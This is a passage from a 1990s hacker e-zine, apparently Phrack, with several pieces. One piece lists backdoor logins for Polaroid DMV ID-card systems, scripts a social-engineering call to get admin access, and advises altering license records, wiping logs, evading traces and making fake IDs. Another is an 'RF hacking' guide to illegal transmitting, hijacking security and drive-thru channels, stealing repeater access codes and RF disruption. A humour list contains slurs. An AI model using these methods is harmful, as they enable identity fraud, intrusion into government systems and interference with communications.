  756. This came about when your state ID actually started to remotely resemble
  757. you in 1992. Also in the 3000 years their were more peripherals
  758. available such as the latest CFR at the time (I think it was the 5000),
  759. PVC printers, and bar code label printers.  The software is basically
  760. DOS 5.0 but this time they use a database shell much like DOSSHELL as
  761. the interface with the machine. The 3000 uses SYTOS for data storage and
  762. transfer and it is best to dial in using a program called Carbon Copy.
  763.  
  764. The 4000 is the best even though it's not that great. It was is the
  765. first IDM in the Polaroid line that let the customer customize the
  766. machine to their needs.  This is the machine that you see when you go to
  767. the DMV, at least in Denver.  It consists of a JVC camera, a Matrox
  768. processing board, a data compression board, an Adaptec 1505 SCSI card, a
  769. 14.4 modem, a network card, and can have any of the following added to
  770. it: a PVC printer (in case you didn't know that's what they use on
  771. credit cards), a magnetic stripe encoder, a bar code printer, a thermal
  772. printer, a CFR (usually the HR6000 like at the DMV), a Ci500 scanner,
  773. and signature pad, a finger print pad (interesting note if you have a
  774. black light and one of the new Colorado Driver licenses hold it under a
  775. black light and look what appears under your picture, you should see
  776. your finger print), and a laminator. Now some of you are thinking what
  777. about the holograms? Those are actually in the lamination, not on the
  778. badge itself. To obtain lamination walk into the DMV and look to the
  779. right or left of the machine if you see a little brown box that's what
  780. you need, but please remember to leave some for the rest of us that
  781. might be next in line. Or you can go to Eagle hardware and buy a bolt
  782. cutter for the dumpster but that's a different text file.
  783.  
  784. The 4000 runs DOS 6.0 and Windows 3.1. The actual software for the 4000
  785. is a terrible Visual Basic shell that reminds me of the first time I ran
  786. that program AoHell. The only difference is that AoHell did what it was
  787. suppose to, the 4000 software is a headache of GPF's , Environment
  788. Errors, and Vbrun errors. A nice feature that the 4000 has that the
  789. other IDM's don't, is the ability to create and design your own badge.
  790. You can even do it remotely ! ! =) . Unfortunately the program Polaroid
  791. developed for this makes paintbrush look good. But on a bright note you
  792. can import Images.
  793.  
  794. Briefly here is a run down of what exactly happens when you get your
  795. picture taken on an ID4000 at the DMV. At the first desk or table the
  796. narrow eyed, overpaid, government employee will ask you for some general
  797. information like a birth certificate, picture ID, name, address, SSN#, what
  798. party you prefer to vote for, and whether or not you want to donate your
  799. organs in the event of your untimely demise. You reply by handing her
  800. your fake birth certificate and ID that you had printed no more then an
  801. hour ago, hoping the ink is dry. "My name is Lee Taxor I reside at
  802. 38.250.25.1 Root Ave in the Beautiful Port apartments #23 located in
  803. Telnet, Colorado, I prefer to vote for Mickey Mouse of the Disney party,
  804. and can't donate my organs because Satan already owns them." The
  805. disgruntled employee then enters all your information in the correct fields
  806. while never taking an eye off you in fear that you know more about the
  807. machine he or she is using then they do (perhaps you shouldn't of worn
  808. your Coed Naked Hacking T-shirt that you bought at DefCon 4). As soon as
  809. the bureaucrat hits <ENTER> all of the information is sent to a database
  810. located in the directory named after the computer (i.e.
  811. c:\ID4000\ColoDMV\96DMV.MDB). Then you are directed to the blue screen
  812. where you stare at the JVC monitor trying to look cool even though the
  813. camera always seems to catch you when you have to blink or yawn or even
  814. sneeze. *SNAP* the picture is taken and displayed on the monitor where
  815. the employee can laugh at your dumb expression before printing it. If
  816. the employee decides to print the picture it is saved as a 9 digit
  817. number associated with your database record. The 4000 then compresses
  818. the picture and saves it. So the next time you go in and the pull up
  819. your record it will automatically find the associated picture and
  820. display it on the screen. But in the mean time you grab your fake ID the
  821. DMV just made for you and leave happy.
  822.  
  823. In a nut shell that's all there is to these machines.
  824.  
  825. Part Three:  Security
  826.  
  827. I think a better topic is lack of security.  I have yet to see any of
  828. these machines that are remotely secure. Before we go any further the
  829. 4000 is best accessed using CloseUp the others using Carbon Copy, But
  830. any mainstream communications program will more then likely work. You
  831. Dial and it asks you right away for a username and password. whoa, stop,
  832. road block right their. Unless of course you know the backdoor that
  833. Polaroid put in their machines so they can service them. =)
  834.  
  835. ID4000
  836. Login: CSD (case Sensitive)
  837. Password: POLAROID (who would of guessed?)
  838.  
  839. ID3000
  840. Login: CPS
  841. Password: POLAROID (god these guys are so efficient)
  842.  
  843. ID2000+ And ID2000
  844. Login: POLAROID  (ahh the good old days)
  845. Password: POLAROID
  846.  
  847. Now if these do not work because they have been edited out, there are
  848. still a few VERY simple ways of getting in to your victims system. The
  849. first is to go with every hackers default method of social engineering.
  850. The best way to do this is to call them up and say "Hi this is (insert
  851. tech name here) with Polaroid Electronic Imaging! How is it going down
  852. there at (name of company)."  The say "pretty good!" in a funny voice
  853. thinking what great customer support. You say "How is the weather been
  854. in (location of company)" they reply with the current weather status
  855. feeling that they can trust you cause you are so friendly. You say "well
  856. (name of person), we were going through our contacts one by one doing
  857. routine upgrades and system cleaning to ensure that your database is not
  858. going to get corrupted anytime soon and that everything is doing what it
  859. is supposed too, if you know what I mean (name of person)." Now they
  860. reply "oh yeah" and laugh with you not having a clue of what you are
  861. talking about. And they then say "well everything seems to be in order."
  862. You say "great sounds good but old *Bob* would have my head if I didn't
  863. check that out for myself." Then you ask if the modem is plugged in and
  864. wait for the reply. The either say yes or no then you ask them go plug
  865. it & give you the number or just give you the number. Then they comply
  866. cause they are just sheep in your plan. You say "Hey thanks (name) one
  867. more thing would happen to know if user CSD:Polaroid exists or did you
  868. guys delete it." If they deleted it ask them to put it back in, giving
  869. you administrative access. They probably know how to and will comply. If
  870. they need help have them do the following: Click on the combination lock
  871. icon at the top of the screen. This will bring them to the
  872. administrative screen and they will have the choices of Purge, Reports,
  873. and Passwords. Have them click on passwords. Then have them enter you as
  874. a new user with CSD as your Name and Polaroid as your Password. After
  875. they have done that make sure they give you all the Keys. The keys are
  876. basically access levels like on a BBS. Lets some users do certain things
  877. while others can not. The only key you need is administrative but have
  878. them give you the rest as well.  The other keys are Management and Luser
  879. I think. The keys are located to the left of the user information that they
  880. just entered. Then have them click OK and close the call politely. Ta
  881. da!! Here is a list of Polaroid phone techs but I would not advise using
  882. Bob or Aryia cause their big wigs and nobody ever talks to them.
  883.  
  884. Senior Techs of Polaroid                                          
  885. Regular Techs
  886. Bob Pentze (manager)                                              
  887.    
  888. Don Bacher
  889. Aryia Bagapour (assistant)                                       
  890. Richard          
  891. Felix Sue                                                         
  892.      
  893. Rick Ward
  894. Jordan Freeman                                                    
  895.    
  896. Dave Webster
  897.  
  898. Call 1-800-343-5000 for more Names =)
  899.  
  900.  
  901.  
  902. Part Four: What to Do once you get in
  903.  
  904. Now that your in you have access to all of their database records and
  905. photos.  Upload your own and have fun with it! Everything you do is
  906. logged so here's what you'll want to do when you're done making yourself
  907. an official FBI agent or an employee of the federal reserve. Go to all
  908. of the available drives which could be a lot since they are on a network
  909. and do a search from root for all of the LOG files i.e. C:\DIR /S *.LOG
  910. Then delete the fuckers!!!! You can also do this by FDISK or formatting.
  911. Just kidding! But if you want to do it the right way then go to the
  912. admin screen and purge the error and system logs.
  913.  
  914. Basically if you want the form for government badges or the FBI agents
  915. database this is the safest way to go. These computer do not have the
  916. ability to trace but it does not mean the phone company doesn't! ANI
  917. sucks a fat dick so remember to divert if you decide to do this. If you
  918. don't know how to divert I recommend you read CoTNo or Phrack and learn
  919. a little bit about phone systems and how they work.
  920.  
  921. Moving around in the software once your past the security is very simple
  922. so I'm not going to get into it. If you can get around a BBS then you
  923. don't need any further help. Just remember to delete or purge the logs.
  924.  
  925. Part Five: Closing
  926.  
  927. If your looking for some mild fun like uploading the DMV a new license
  928. or revoking your friends this is the way to do it. However if you're
  929. looking to make fake ID's I recommend you download the badge format and
  930. purchase or obtain a copy of IDWare by Polaroid. IDware is a lot like
  931. the 4000 software except you only need a scanner not the whole system.
  932. As a warning to some of the kids I know of one guy who bought a
  933. $50,000.00 ID4000 and paid it off in a year by selling fake ID's. When
  934. Polaroid busted him they prosecuted to the fullest and now the guy is
  935. rotting in a cell for 25 to 50 years. Just a thought to ponder.
  936.  
  937. Peace 
  938. PiLL
  939.  
  940. Greetz
  941. Shouts go out to the following groups and individuals: TACD, TNO, MOD,
  942. L0pht, CDC, UPS, Shadow, Wraith, KaoTik, Wednesday, Zydirion, Voyager,
  943. Jazmine, swolf, Mustard, Terminal, Major, Legion, Disorder, Genesis,
  944. Paradox, Jesta, anybody else in 303, STAR, BoxingNuN, MrHades, OuTHouse,
  945. Romen, Tewph, Bravo, Kingpin, and everyone I forgot cause I'm sure there
  946. are a bunch of you, sorry =P.
  947.  
  948.                                 ----<>----
  949.  
  950.  The Top Ten things overheard at PumpCon '96                   
  951.  
  952. 10. "You gotta problem? Ya'll gotta rowl!"
  953.                - Keith the security guard
  954.  
  955.  9. "My brain has a slow ping response" 
  956.                - Kingpin
  957.  
  958.  8. "Space Rogue, I've been coveting your pickle."
  959.                - espidre
  960.  
  961.  7. "If there's space -n shit, then it's Star Trek. Unless there's that
  962.       little Yoda guy - then it's Star Wars" 
  963.                - Kingpin
  964.  
  965.  6. "I'm the editor of Phrack. Wanna lay down with me?"
  966.                - A very drunk unnamed editor of Phrack
  967.  
  968.  5. "Let's go find that spic, b_, no offense"  
  969.                - A drunk IP to b_.
  970.  
  971.  4. "I'm lookin for that fat fucker Wozz.  He's big, and got a green shirt,
  972.      and glasses, and curly hair, just like you.  As a matta a fact, you
  973.      gots similar characteristics!" 
  974.                - A drunk IP to wozz.
  975.  
  976.  3. "He was passed out on the floor... so I pissed on him" 
  977.                - An unknown assailant referring to IP       
  978.  
  979.  2. "It was the beginning and the end of my pimping career"
  980.                - Kingpin referring to his escapade of getting paid
  981.                  two dollars for sex.
  982.  
  983.  1. "French Toast Pleeeeze!"
  984.                - Everyone 
  985.  
  986.  
  987.                                 ----<>----
  988.  
  989.  
  990.        TOP 0x10 REASONS TO KICK && WAYS TO GET
  991.          KICKED OUT OF #HACK (Revision 0.1.1)
  992.                     By SirLance
  993.  
  994. 0x0f asking for any information about any Microsoft products
  995. 0x0e talking about cars, girls, or anything unrelated to hacking
  996. 0x0d flooding with a passwd file contents
  997. 0x0c asking how to unshadow passwd
  998. 0x0b being on #hack, #warez and #hotsex at the same time
  999. 0x0a asking for ops
  1000. 0x09 using a nick including words like 'zero' 'cool' 'acid' or 'burn'
  1001. 0x08 asking if someone wants to trade accounts, CCs or WaR3Z
  1002. 0x07 asking what r00t means
  1003. 0x06 asking when the latest Phrack will be released
  1004. 0x05 asking where to get or how to create a BOT
  1005. 0x04 having the word BOT anywhere in your nick
  1006. 0x03 having a nick like Br0KnCaPs and SpEak LiK3 Th4t all the time
  1007. 0x02 asking for flash.c or nuke.c, spoof.c, ipsniff.c or CrackerJack
  1008. 0x01 thinking #hack is a helpdesk and ask a question
  1009. 0x00 being on from AOL, Prodigy, CompuServe, or MSN
  1010.  
  1011.                    -EOL-
  1012.  
  1013.         
  1014.                                 ----<>----
  1015.  
  1016.                              International business
  1017.                                     by HCF
  1018.  
  1019.  
  1020. Friday, 3:00am 4.12: 
  1021.     I get the call:
  1022.  
  1023.     Julie:    "You break into computers right...?"
  1024.     Dover:    "Yea, what kind..."
  1025.     Julie:    "Mac, I think."
  1026.     Dover:    "Hmm... Call ``HCF'' at 213.262-XXXX"
  1027.     Julie:    "Uh, will he be awake...?"
  1028.     Dover:    "Don't worry (snicker) he'll be awake."
  1029.  
  1030. Friday, 4:00am 4.12
  1031.     HCF called me at 4am after he got the call from Julie:
  1032.  
  1033.     HCF:    "you got me into this mess, I need to barrow your car."
  1034.     Dover:    "Umm shure.  Ok..."
  1035.     HCF:    "I'll be right over..."
  1036.  
  1037. Friday, 12:30pm 4.12: upon returning the car:
  1038.  
  1039.     HCF:     "Umm, got a parking ticket, I'll write you a check later..."
  1040.  
  1041. (I never got the check.)
  1042.  
  1043. Kathleen's comment to Julie which was passed to me (days later):
  1044.  
  1045.     Kath:    "Why didn't you tell me he was cute, I want him for myself!"
  1046.  
  1047. When I passed this on to HCF:
  1048.  
  1049.     HCF:    "She is *gorgeous* but not without a wet suit..."
  1050.  
  1051.  
  1052.  
  1053.     Here is the story that happened early one Friday morning...  The names
  1054. have been changed to protect the innocent, the guilty, and the innocent-looking
  1055. guilty....
  1056.  
  1057. I was reading up on a new firewall technology, the kind that locks
  1058. addresses out of select ports based on specific criterion, when the phone
  1059. rang.
  1060.  
  1061. "Hello?"
  1062. The voice of a women, between 18 and 30, somewhat deep like Kathleen
  1063. Turner's, said, "Uh, hello..."
  1064.  
  1065. There was an obvious pause.  It seemed she was surprised that I was so
  1066. awake and answered sharply on the second ring.  It was in the middle of my
  1067. working hours; 3:30 AM. There was no delay in the phone's response, no
  1068. subtle click after I picked up, and the audio quality was clear.
  1069.  
  1070. "Do you hack?"  she asked.
  1071.  
  1072. Recorder on.  Mental note: *stop* getting lazy with the recorder.
  1073.  
  1074. "No.  Are you on a Cell phone?" I responded
  1075. "No."
  1076. "Are you using a portable battery operated telephone?"
  1077. "No.  I was told by my friend ..."
  1078. "Are you in any way associated with local, federal or state law enforcement
  1079. agencies?"
  1080. "Oh, I get it.  No I'm not.  Julie said that you could help me."
  1081.  
  1082. I knew Julie through a mutual friend.
  1083.  
  1084. "Could you call me back in 5 minutes."
  1085. "Well, um, ok."
  1086.  
  1087. Throughout the whole conversation, the phones on her end were ringing off
  1088. the hook.  As soon as I hung up, Ben, the mutual friend, called.  Julie had
  1089. called him first, and he gave her my number.  I got his reassurance that
  1090. this was legit.  Ben was snickering but wouldn't divulge what it was about.
  1091. By now my curiosity was piqued.
  1092.  
  1093. The phone rang again, "I need someone who can break into a computer."
  1094. "Whose computer?"
  1095. "Mine."
  1096.  
  1097. It turns out that the woman had hostility bought out the previous owner of
  1098. this business.  The computer in question had both a mission-critical
  1099. database of some sort and a multi-level security software installed.  She
  1100. had been working under a medium permission user for some time.  The
  1101. computer crashed in such a way as to require the master password (root) in
  1102. order to boot.  The pervious owner moved out of town, could not be
  1103. contacted, and was most likely enjoying the situation thoroughly.  The
  1104. woman was unaware of any of the technical specifications or configuration
  1105. of the machine.  I was able to find out that it was a Apple Macintosh Color
  1106. Classic; a machine primarily distributed in Japan.  It would be around
  1107. 10:00 AM in Tokyo.
  1108.  
  1109. "Why are the phones ringing so often at this time of the morning?" I asked.
  1110. "I do a lot of international business."
  1111.  
  1112. I was intrigued, the answer was smoothly executed without a delay or pitch
  1113. change.  I took the job.
  1114.  
  1115. Upon arriving, I was greeted by a young, stunningly beautiful, woman with
  1116. long, jet-black hair and stressed but clear green eyes.  I checked the room
  1117. for obvious bugs and any other surveillance.  There were calendars on the
  1118. wall, filled out with trixy and ultra-masculine sounding names like Candy
  1119. and Chuck.  The phones had died down some. The machine in question was
  1120. obviously well integrated into the environment; dust patterns, scratch
  1121. marks, worn-out mouse pad;  it had been there for some time.  There was a
  1122. PBX, around 6 to 8 voice lines, three phones, and no network, modem or
  1123. outside connectivity.
  1124.  
  1125. The security, which we'll call VileGuard, defeated all the "simple" methods
  1126. of by-passing.  None of the standard or available passwords, in any case or
  1127. combination, worked.  A brute-force script would be slow as second failure
  1128. shut the machine down.
  1129.  
  1130. I made a SCSI sector copy onto a spare drive and replaced it with the
  1131. original.  This involved tearing open the machine, pulling various parts
  1132. out, hooking up loose wires, merging several computers, and turning things
  1133. on in this state.  Trivial and routine, I did it rapidly and with both
  1134. hands operating independently.  For those who have never opened the case of
  1135. an all-in-one Mac, it involves a rather violent looking smack on both sides
  1136. of the pressure fitted case backing, appropriately called "cracking the
  1137. case."  This did not serve well to calm the nerves of the client.  After a
  1138. few moments of pallor and little chirps of horror, she excused herself from
  1139. the room.
  1140.  
  1141. While the SCSI copy preceded, I overheard her taking a few calls in the
  1142. other room.  What I heard was a one-sided conversation, but I could pretty
  1143. much fill in the blanks,
  1144.  
  1145. "Hello, Exclusive Escorts, may I help you?"
  1146. "Would you like to be visited at your home or at a hotel?"
  1147. "Well, we have Suzy, she's a 5'4" Asian lady with a very athletic body.
  1148. Very shy but willing, and very sensual, she measures 34, 24, 34."
  1149. "Big what?  Sir, you'll have to speak a little clearer."
  1150. "Oh, I see, well we have a very well endowed girl named Valerie, she's a
  1151. double D and measures 38, 24, 34.  Would that be more to your liking?"
  1152.  
  1153. It was not easy to keep from busting up laughing.
  1154.  
  1155. "He wants you to do what?  Well, charge him double."
  1156.  
  1157. With the new drive installed, and to predictable results, I fired up a hex
  1158. editor. My experience has been that full-disk encryption typically slows
  1159. the machine down to the point where the user disables it.  At around
  1160. $5C9E8, I found, "...507269 6E74204D 616E6167 65722045 72726F72...
  1161. ...Print Manager Error..." in plain text.  I searched for some of the
  1162. known, lower permission, passwords.  I found a few scattered around sector
  1163. $9b4.  The hex editor I was using could not access the boot or driver
  1164. partitions, so I switched to one that could.  It's not as pretty of an
  1165. interface as the last editor, and is rather old.  Its saving grace though
  1166. is that it doesn't recognize the modern warnings of what it can and cannot
  1167. see.  There it was, VileGuard; driver level security.
  1168.  
  1169. "Eric is endowed with eight and has a very masculine physique."
  1170.  
  1171. Every male was "endowed with eight," every female had relatively identical
  1172. measurements.
  1173.  
  1174. I hunted fruitlessly around the low sectors for what might be the master
  1175. password.  All awhile wishing the find function of the editor would accept
  1176. regexp.  All the other passwords were intercapped on the odd character, but
  1177. that was a convention of the current owner, and not necessarily used by the
  1178. past owner.
  1179.  
  1180. "Oh, you want a girl that is fluent in Greek?"
  1181.  
  1182. It's not professional for me, and not good salesmanship for her, to have me
  1183. overheard laughing myself into anoxia.  After trying to straighten up and
  1184. gather my wits together again, I began to consider an alternate
  1185. possibility.  If I don't know the password, what happens if I make it so
  1186. that the driver doesn't either.  Return to the first-installed condition
  1187. perhaps? It was a thought.  It turned out to be a bad thought, resulting in
  1188. my haphazardly writing "xxxx" over, pretty much, random sectors of the
  1189. driver partition.
  1190.  
  1191. "Oh yes sir, Roxanne prefers older men.  She appreciates how very
  1192. experienced they are.  I understand sir, and I'm sure she can help you with
  1193. that."
  1194.  
  1195. Before I made a second copy and whipped out the RE tools, TMON and MacNosy,
  1196. I tried booting. The results were, as you'd expect, that the disk didn't
  1197. mount.  Instead, it asked me if I wanted to reinitialize the disk.  Pause.
  1198. Think... ya, why not. This was most definitely farther than I had gotten
  1199. with the secure driver installed and functional.  I canceled and fired up
  1200. one of many disk formatters I had on hand.  Though the formatter wasn't the
  1201. slickest, it had proven itself repeatedly in the past.  Its main quality
  1202. was that of writing a driver onto a disk that is in just about *any*
  1203. condition.  It's made by a French drive manufacturer.  As dangerous as this
  1204. behavior is, I'm sure it's a planned feature.  It could see the drive and
  1205. allowed me to "update" the driver.  A few seconds later, a normal
  1206. "finished" dialog.
  1207.  
  1208. "Yes, Stan carries a set of various toys with him.  No, I don't believe he
  1209. normally carries that, but I'm sure if you ask him nicely, he'll drop by
  1210. the hardware store on his way and pick one up."
  1211.  
  1212. I rebooted.  It worked.  I copied over the disk's data and reformatted.
  1213. Time to try it on the original drive (I had, of course, been working on my
  1214. copy.)  Upon startup, before anything could be accessed, "Please input the
  1215. master password..."
  1216.  
  1217. Puts an unusual twist on the phrase, "adverse working conditions"
  1218.  
  1219. - HCF
  1220.  
  1221. Note 1: Payment was in currency.
  1222. Note 2: If you ever think you understand the opposite sex's view on sex,
  1223. you're underestimating.
  1224.  
  1225.  
  1226.                                 ----<>----
  1227.  
  1228.  
  1229.     The Beginners Guide to RF hacking
  1230.  
  1231.         by Ph0n-E of BLA & DOC
  1232.  
  1233.  
  1234.      Airphones suck.   I'm on yet another long plane ride to some
  1235. wacky event.  I've tried dialing into my favorite isp using this lame GTE
  1236. airphone, $15 per call no matter how long you "talk".  In big letters it
  1237. says 14.4k data rate, only after several attempts I see the very fine
  1238. print, 2400 baud throughput.  What kind of crap is that?  A 14.4 modem that
  1239. can only do 2400?  It might be the fact they use antiquated 900MHz AM
  1240. transmissions.  The ATT skyphones that are now appearing use imarsat
  1241. technology, but those are $10/minute.  Anyway they suck, and I have an
  1242. hour or so before they start showing Mission Impossible so I guess I'll
  1243. write this Phrack article Route has been bugging me about.
  1244.  
  1245.    There are a bunch of people who I've helped get into radio stuff, five
  1246. people bought handheld radios @ DefCon...  So I'm going to run down some
  1247. basics to help everyone get started.  As a disclaimer, I knew nothing about
  1248. RF and radios two years ago.  My background is filmmaking, RF stuff is just
  1249. for phun.
  1250.  
  1251.    So why the hell would you want to screw around with radio gear?  Isn't it
  1252. only for old geezers and wanna be rentacops?  Didn't CB go out with Smokey
  1253. & the Bandit?  
  1254.  
  1255. Some cool things you can do:
  1256.  
  1257.    Fast-food drive thrus can be very entertaining, usually the order taker
  1258. is on one frequency and the drivethru speaker is on another.  So you can
  1259. park down the block and tell that fat pig that she exceeds the weight
  1260. limit and McDonalds no longer serves to Fatchix.  Or when granny pulls up
  1261. to order those tasty mcnuggets, blast over her and tell the nice MCD slave
  1262. you want 30 happy meals for your trip to the orphanage.  If you're lucky
  1263. enough to have two fast food palaces close to each other you can link them
  1264. together and sit back and enjoy the confusion.
  1265.  
  1266.    You've always wanted a HERF gun, well your radio doubles as a small
  1267. scale version.  RF energy does strange and unpredictable things to 
  1268. electronic gear, especially computers.  The guy in front of me on the plane
  1269. was playing some lame game on his windowz laptop which was making some very 
  1270. annoying cutey noises.  He refused to wear headphones, he said "they mushed 
  1271. his hair...".  Somehow my radio accidentally keyed up directly under his
  1272. seat, there was this agonizing cutey death noise and then all kinds of cool
  1273. graphics appeared on his screen, major crash.  He's still trying to get it
  1274. to reboot.
  1275.  
  1276.    Of course there are the ever popular cordless phones.  The new ones work
  1277. on 900MHz, but 90% of the phones out there work in the 49MHz band.  You can
  1278. easily modify the right ham radio or just use a commercial low band radio
  1279. to annoy everyone.  Scanning phone calls is OK, but now you can talk back,
  1280. add sound effects, etc...  That hot babe down the street is talking to
  1281. her big goony boyfriend, it seems only fair that you should let her know
  1282. about his gay boyfriend.  Endless hours of torture.
  1283.  
  1284.    You can also just rap with your other hacker pals (especially useful 
  1285. cons). Packet radio, which allows you up to 9600 baud wireless net 
  1286. connections, its really endless in its utility.
  1287.  
  1288. How to get started:
  1289.  
  1290.    Well you're supposed to get this thing called a HAM license.  You take 
  1291. this test given by some grampa, and then you get your very own call sign.
  1292. If you're up to that, go for it.  One thing though, use a P.O. box for your
  1293. address as the feds think of HAMs as wackos, and are first on the list when
  1294. searching for terrorists.  Keep in mind that most fun radio things are 
  1295. blatantly illegal anyway, but you're use to that sort of thing, right?
  1296.  
  1297.    If you are familiar with scanners, newer ones can receive over a very
  1298. large range of frequencies, some range from 0 to 2.6 GHz.  You are not going
  1299. to be able to buy a radio that will transmit over that entire spectrum.  There
  1300. are military radios that are designed to sweep large frequencies ranges for
  1301. jamming, bomb detonation, etc. - but you won't find one at your local radio
  1302. shack.
  1303.  
  1304. A very primitive look at how the spectrum is broken down into sections:
  1305.  
  1306.   0 - 30MHz (HF)  Mostly HAM stuff, short-wave, CB.
  1307.  30 - 80MHz (lowband)  Police, business, cordless phones, HAM
  1308.  80 - 108MHz (FM radio)  You know, like tunes and stuff
  1309. 110 - 122MHz (Aircraft band) You are clear for landing on runway 2600
  1310. 136 - 174MHz (VHF)  HAM, business, police
  1311. 200 - 230MHz Marine, HAM
  1312. 410 - 470MHz (UHF), HAM, business
  1313. 470 - 512MHz T-band, business, police
  1314. 800MHz cell, trunking, business
  1315. 900MHz trunking, spread spectrum devices, pagers
  1316. 1GHZ+ (microwave) satellite, TV trucks, datalinks
  1317.  
  1318.    Something to remember, the lower the frequency the farther the radio waves
  1319. travel, and the higher the frequency the more directional the waves are.
  1320.  
  1321.    A good place to start is with a dual band handheld.  Acquire a Yaesu
  1322. FT-50.  This radio is pretty amazing, its very small, black and looks cool.
  1323. More importantly it can easily be moded.  You see this is a HAM radio, it's
  1324. designed to transmit on HAM bands, but by removing a resistor and solder
  1325. joint, and then doing a little keypad trick you have a radio that transmits 
  1326. all over the VHF/UHF bands.  It can transmit approximately 120-232MHz and 
  1327. 315-509MHz (varies from radio to radio), and will receive from 76MHz to about
  1328. 1GHz (thats 1000MHz lamer!), and yes that *includes* cell phones.  You also 
  1329. want to get the FTT-12 keypad which adds PL capabilities and other cool stuff
  1330. including audio sampling.  So you get a killer radio, scanner, and red box all
  1331. in one! Yaesu recently got some heat for this radio so they changed the eprom
  1332. on newer radios, but they can modified as well, so no worries.
  1333.  
  1334.    Now for some radio basics.  There are several different modulation schemes,
  1335. SSB - Single Side Band, AM - Amplitude Modulation, FM - Frequency Modulation,
  1336. etc.  The most common type above HF communications is NFM, or Narrow band 
  1337. Frequency Modulation.
  1338.  
  1339. There are three basic ways communication works:
  1340.  
  1341. Simplex - The Transmit and Receive frequencies are the same, used for short
  1342. distance communications.
  1343.  
  1344. Repeater - The Transmit and Receive frequencies are offset, or even on
  1345. different bands.
  1346.  
  1347. Trunking - A bunch of different companies or groups within a company share
  1348. multiple repeaters.  If you're listening to a frequency with a scanner and
  1349. one time its your local Police and the next it's your garbage man, the fire
  1350. dept... - that's trunking.  Similar to cell phones you get bits and pieces 
  1351. of conversations as calls are handed off among repeater sites.
  1352.  
  1353.    Their radios are programmed for specific "talk groups", so the police only
  1354. hear police, and not bruno calling into base about some weasel kid he found
  1355. rummaging through his dumpsters.  There are three manufacturers - Motorola,
  1356. Ericsson (GE), and EF Johnson.  EFJ uses LTR which sends sub-audible codes 
  1357. along with each transmission, the other systems use a dedicated control 
  1358. channel system similar to cell phones.  Hacking trunk systems is an entire 
  1359. article in itself, but as should be obvious, take out the control channel 
  1360. and the entire system crashes (in most cases).
  1361.  
  1362.    OK so you got your new radio you tune around and your find some security
  1363. goons at the movie theater down the street.  They are total losers so you
  1364. start busting on them.  You can hear them, but why they can't hear you?
  1365. The answer-- SubAudible Tones.  These are tones that are constantly
  1366. transmitted with your voice transmission - supposedly subaudible, but if
  1367. you listen closely you can hear them.  With out the tone you don't break
  1368. their squelch (they don't hear you.)  These tones are used keep nearby
  1369. users from interfering with each other and to keep bozos like you from
  1370. messing with them.  There are two types, CTCSS Continuos Tone-Codes Squelch
  1371. system (otherwise known as PL or Privacy Line by Motorola) or DCS Digital
  1372. Coded Squelch (DPL - Digital Privacy Line).  If you listened to me and got
  1373. that FT-50 you will be styling because its the only modable dual band that
  1374. does both.  So now you need to find their code, first try PL because its
  1375. more common.  There is a mode in which the radio will scan for tones for
  1376. you, but its slow and a pain.  The easiest thing to do is turn on Tone
  1377. Squelch, you will see the busy light on your radio turn on when they are
  1378. talking but you wont hear them.  Go into the PL tone select mode and tune
  1379. through the different tones while the busy light remains on, as soon as you
  1380. hear them again you have the right tone, set it and bust away!  If you
  1381. don't find a PL that works move on to DPL.  There is one other squelch
  1382. setting which uses DTMF tone bursts to open the squelch, but its rarely
  1383. used, and when it is used its mostly for paging and individuals.
  1384.  
  1385.    Now you find yourself at Defcon, you hear DT is being harassed by
  1386. security for taking out some slot machines with a HERF gun, so you figure
  1387. it's your hacker responsibility to fight back.  You manage to find a
  1388. security freq, you get their PL, but their signal is very weak, and only
  1389. some of them can hear your vicious jokes about their moms.  What's up?  They
  1390. are using a repeater.  A handheld radio only puts out so much power,
  1391. usually the max is about 5 watts.  That's pretty much all you want radiating
  1392. that close to your skull (think brain tumor).  So a repeater is radio that
  1393. receives the transmissions from the handhelds on freq A and then
  1394. retransmits it with a ton more watts on freq B.  So you need to program
  1395. your radio to receive on one channel and transmit on another.  Usually
  1396. repeaters follow a standard rule of 5.0MHz on UHF and .6MHz on VHF, and
  1397. they can either be positive or negative offsets.  Most radios have a
  1398. auto-repeater mode which will automatically do the offset for you or you
  1399. need to place the TX and RX freqs in the two different VCOs.  Government
  1400. organizations and people who are likely targets for hacks (Shadow Traffic
  1401. news copter live feeds) use nonstandard offsets so you will just need to
  1402. tune around.
  1403.  
  1404.    Some ham radios have an interesting feature called crossband repeat.
  1405. You're hanging out at Taco Bell munching your Nachos Supreme listening to the
  1406. drive thru freq on your radio.  You notice the Jack in the Box across the
  1407. street, tuning around you discover that TacoHell is on VHF (say 156.40) and
  1408. Jack in the Crack is on UHF (say 464.40).  You program the two freqs into
  1409. your radio and put it in xband repeat mode.  Now when someone places their
  1410. order at Taco they hear it at Jacks, and when they place their order at
  1411. Jacks they hear it at Taco.  When the radio receives something on 156.40 it
  1412. retransmits it on 464.40, and when it receives something on 464.40 it
  1413. retransmits it on 156.40.
  1414.  
  1415. "...I want Nachos, gimme Nachos..."  
  1416. "...Sorry we don't have Nachos at Jack's..." 
  1417. "...Huh? Im at Taco Bell..."  
  1418. Get it?  Unfortunately the FT-50 does not do xband repeat, that's the only 
  1419. feature it's lacking.
  1420.  
  1421.    Damn it, all this RF hacking is fun, but how do I make free phone calls?
  1422. Well you can, sort of.  Many commercial and amateur repeaters have a
  1423. feature called an autopatch or phonepatch.  This is a box that connects the
  1424. radio system to a phone line so that you can place and receive calls.  Keep
  1425. in mind that calls are heard by everyone who has their radio on! The
  1426. autopatch feature is usually protected by a DTMF code.  Monitor the input
  1427. freq of the repeater when someone places a call you will hear their dtmf
  1428. digits - if you're super elite you can tell what they are by just hearing
  1429. them, but us normal people who have lives put the FT-50 in DTMF decode mode
  1430. and snag the codez...  If your radio doesn't do DTMF decode, record the audio
  1431. and decode it later with your soundblaster warez.  Most of the time they
  1432. will block long-distance calls, and 911 calls.  Usually there is a way
  1433. around that, but this is not a phreaking article.  Often the repeaters are
  1434. remote configurable, the operator can change various functions in the field
  1435. by using a DTMF code.  Again, scan for that code and you too can take
  1436. control of the repeater.  What you can do varies greatly from machine to
  1437. machine, sometimes you can turn on long-distance calls, program speed-dials,
  1438. even change the freq of the repeater.
  1439.  
  1440.    What about cordless phones, can't I just dial out on someone's line?
  1441. Sort of.  You use to be able to take a Sony cordless phone which did
  1442. autoscanning (looked for an available channel) drive down the block with
  1443. the phone on until it locked on to your neighbors cordless and you get a
  1444. dialtone.  Now cordless phones have a subaudible security tone just like PL
  1445. tones on radios so it doesn't work anymore.  There are a bunch of tones and
  1446. they vary by phone manufacturer, so it's easier to make your free calls other
  1447. ways.
  1448.  
